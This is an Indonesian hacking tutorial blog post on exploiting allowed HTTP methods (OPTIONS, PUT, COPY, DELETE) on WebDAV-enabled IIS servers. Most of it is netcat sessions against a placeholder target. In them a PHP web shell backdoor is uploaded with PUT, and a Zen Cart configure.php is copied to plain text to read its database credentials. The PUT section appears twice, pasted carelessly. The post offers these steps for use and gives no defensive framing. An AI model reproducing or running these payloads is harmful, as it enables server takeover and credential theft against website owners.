HTTP ATTACK adalah metode menyerang ke HTTP server (web server) dengan melalui HTTP METHOD yang di allow (bukan menyerang dari sisi web apps seperti PHP, ASP, Database, Dan lain lain).
nah kita harus tau dulu apa saja HTTP METHOD.
Code: (Select All)
GET, POST, OPTIONS, TRACE, PUT, DELETE, MOVE, COPY, dan lain lain.
di backtrack kalian semua udah terinstall netcat kan ? oke langsung ke prakteknya aja.
pertama fungsi metode http OPTIONS .
sebenarnya fungsi ini tidak berbahaya bagi web server, namun justru
metode http ini lah yang membeberkan fungsi-fungsi HTTP METHOD yang di
allow. wele wele, langsung aja deh caranya :
Code: (Select All)
root@bt:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
OPTIONS / HTTP/1.1
Host: sasaran.com
HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 09:02:44 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
MS-Author-Via: DAV
Content-Length: 0
Accept-Ranges: none
DASL: <DAV:sql>
DAV: 1, 2
Public: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
Allow: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
Cache-Control: private
sent 53, rcvd 406
root@bt:~$wops banyak banget yang di allow.
next ke metode berikutnya.
PUT
metode ini sangatlah berbahaya, PUT mengizinkan browser untuk menulis
file pada sebuah web server! , jadi dengan kata lain kita bisa menanam
backdoor pada sebuah web server tersebut!
langsung aja praktek
Code: (Select All)
root@bt:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
PUT /tes.txt HTTP/1.1
Host: sasaran.com
Content-Length: 32
<pre><?php system($_GET[cmd]) ?>
HTTP/1.1 201 File saved
Content-Length: 1458
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 19 Jan 2012 09:12:53 GMTPUT
methode ini yang sangat berbahaya. "PUT" mengijinkan browser menulis file ke server. Pada awalnya method ini dibuat dengan niat baik nan mulia. Namun penggunaanya yang cukup menyenangkan, membuat attacker juga ikut bergembira. Untuk menuliska file ke server juga tidak butuh teknik yang sangat tinggi, justru mudah dan simple.
Code: (Select All)
root@bt:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
PUT /tes.txt HTTP/1.1
Host: sasaran.com
Content-Length: 32
<pre><?php system($_GET[cmd]) ?>
HTTP/1.1 201 File saved
Content-Length: 1458
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 19 Jan 2012 09:12:53 GMTperhatikan, saya membuat file /tes.txt. ini berarti file yang saya buat adalah sasaran.com/tes.txt dengan isi
dengan demikian, kita bisa saja mengirimkan sebuah backdoor ke server
secara mudah dan instan. yang perlu di perhatikan adalah bahwa
Content-Length harus sama dengan panjang karakter text yang akan di
tulis ke server. Dan tentu saja direktori harus permission 777
(writeable).
DELETE
perintah sederhana untuk melakukan penghapusan sebuah file di server.
COPY
perintah untuk menggandakan sebuah file ke nama file yang baru. Hal ini cukup berguna jika kita membutuhkan isi dari sebuah file config.php, dimana config.php tidak akan bisa dibuka di browser karena server akan menerjemahkanya trlebih dahulu sehingga config tidak terbaca. So, dengan command COPY saya menggandakan config.php menjadi config.txt sehingga config.txt terbaca jelas.
Code: (Select All)
root@bt:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
COPY /includes/configure.php /config.txt HTTP/1.1
Host: sasaran.com
HTTP/1.1 200 OK
Content-Length: 1458
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 19 Jan 2012 09:12:53 GMTok, file telah di copy dengan nama config.txt, tinggal membaca saja.
Code: (Select All)
root@bt:~$ nc -vv sasaran.com 80
DNS fwd/rev mismatch: sasaran.com != 5.subnet222-124-215.static.astinet.telkom.net.id
sasaran.com [222.1.2.3] 80 (www) open
GET /config.txt HTTP/1.1
Host: sasaran.com
HTTP/1.1 200 OK
Date: Thu, 19 Jan 2012 09:30:18 GMT
Server: Microsoft-IIS/6.0
Last-Modified: Thu, 19 Jan 2012 09:29:20 GMT
Accept-Ranges: bytes
Content-Length: 3214
Content-Type: text/plain
<?php
/**
* @package Configuration Settings circa 1.3.8
* @copyright Copyright 2003-2007 Zen Cart Development Team
* @copyright Portions Copyright 2003 osCommerce
* @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
*/
/*************** NOTE: This file is similar, but DIFFERENT from the "admin" version of configure.php. ***********/
/*************** The 2 files should be kept separate and not used to overwrite each other. ***********/
// Define the webserver and path parameters
// HTTP_SERVER is your Main webserver: eg-http://www.your_domain.com
// HTTPS_SERVER is your Secure webserver: eg-https://www.your_domain.com
define('HTTP_SERVER', 'http://www.sasaran.com');
define('HTTPS_SERVER', 'https://www.sasaran.com');
// Use secure webserver for checkout procedure?
define('ENABLE_SSL', 'false');
// NOTE: be sure to leave the trailing '/' at the end of these lines if you make changes!
// * DIR_WS_* = Webserver directories (virtual/URL)
// these paths are relative to top of your webspace ... (ie: under the public_html or httpdocs folder)
define('DIR_WS_CATALOG', '/');
define('DIR_WS_HTTPS_CATALOG', '/');
define('DIR_WS_IMAGES', 'images/');
define('DIR_WS_INCLUDES', 'includes/');
define('DIR_WS_FUNCTIONS', DIR_WS_INCLUDES . 'functions/');
define('DIR_WS_CLASSES', DIR_WS_INCLUDES . 'classes/');
define('DIR_WS_MODULES', DIR_WS_INCLUDES . 'modules/');
define('DIR_WS_LANGUAGES', DIR_WS_INCLUDES . 'languages/');
define('DIR_WS_DOWNLOAD_PUBLIC', DIR_WS_CATALOG . 'pub/');
define('DIR_WS_TEMPLATES', DIR_WS_INCLUDES . 'templates/');
define('DIR_WS_PHPBB', '/');
// * DIR_FS_* = Filesystem directories (local/physical)
//the following path is a COMPLETE path to your Zen Cart files. eg: /var/www/vhost/accountname/public_html/store/
define('DIR_FS_CATALOG', '/');
define('DIR_FS_DOWNLOAD', DIR_FS_CATALOG . 'download/');
define('DIR_FS_DOWNLOAD_PUBLIC', DIR_FS_CATALOG . 'pub/');
define('DIR_WS_UPLOADS', DIR_WS_IMAGES . 'uploads/');
define('DIR_FS_UPLOADS', DIR_FS_CATALOG . DIR_WS_UPLOADS);
define('DIR_FS_EMAIL_TEMPLATES', DIR_FS_CATALOG . 'email/');
// define our database connection
define('DB_TYPE', 'mysql');
define('DB_PREFIX', 'dat_');
define('DB_SERVER', 'localhost');
define('DB_SERVER_USERNAME', '***');
define('DB_SERVER_PASSWORD', '******************4');
define('DB_DATABASE', 'dat_*');
define('USE_PCONNECT', 'false');
define('STORE_SESSIONS', 'db');
// for STORE_SESSIONS,
use 'db' for best support, or '' for file-based storage
// The next 2 "defines" are for SQL cache support.
// For SQL_CACHE_METHOD, you can select from: none, database, or file
// If you choose "file", then you need to set the DIR_FS_SQL_CACHE to a directory where your apache
// or webserver user has write privileges (chmod 666 or 777). We recommend using the "cache" folder inside the Zen Cart folder
// ie: /path/to/your/webspace/public_html/zen/cache -- leave no trailing slash
define('SQL_CACHE_METHOD', 'database');
define('DIR_FS_SQL_CACHE', '/cache');
// EOF
^C sent 56, rcvd 3402
root@bt:~$UPS! Code disclosured!

Tidak ada komentar:
Posting Komentar